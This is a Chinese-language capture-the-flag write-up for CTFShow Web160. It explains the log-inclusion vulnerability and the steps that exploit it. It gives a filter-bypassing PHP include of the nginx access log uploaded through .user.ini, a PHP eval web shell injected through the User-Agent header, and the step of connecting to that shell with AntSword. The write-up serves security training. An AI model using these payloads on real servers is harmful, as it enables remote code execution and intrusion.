CTFShow-Web160:利用日志包含漏洞进行文件上传
过滤规则
该题对上传文件内容的过滤规则如下:
• 禁止包含 空格
• 禁止包含 反引号 (``)
• 禁止包含 log
由于反引号被过滤,无法使用 Web159 的方法,需要利用 日志包含漏洞 来实现绕过。
日志包含漏洞原理
日志包含漏洞利用了 Web 应用中 动态包含文件 的特性。
如果上传的文件中使用了以下函数并包含日志文件,就可能触发漏洞:
• include()
• require()
• require_once()
• include_once()
攻击点:
1. 攻击者可以通过请求头字段(如 User-Agent、Referer、Cookie 等)注入恶意代码。
2. 日志文件会记录这些请求头,并将其内容视为 PHP 代码执行。
🛠️ Web160 解题步骤
- 确定目标日志文件
目标是包含 Nginx 的访问日志文件:/var/log/nginx/access.log
与 Web153 类似,先上传 .user.ini 文件,再上传图片文件。
在上传的图片文件中,内容设置为:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
代码说明:
• 使用字符串拼接(.)绕过对 log 的过滤。
• 忽略空格,以免触发空格过滤规则。

- 查看日志返回的内容
上传文件后访问 /upload/,观察日志文件中的 User-Agent 字段内容:

日志文件记录了请求时的 User-Agent,可以通过修改 User-Agent 字段注入恶意代码。
- 利用 User-Agent 字段注入代码
将恶意代码注入到 User-Agent 字段中,例如:
<?php @eval($_POST['pass']);?>

- 利用蚁剑连接 WebShell
上传成功后,通过 AntSword(蚁剑) 连接 WebShell
连接成功后可以在 /var/www/html/flag.php 中找到 Flag 🎉
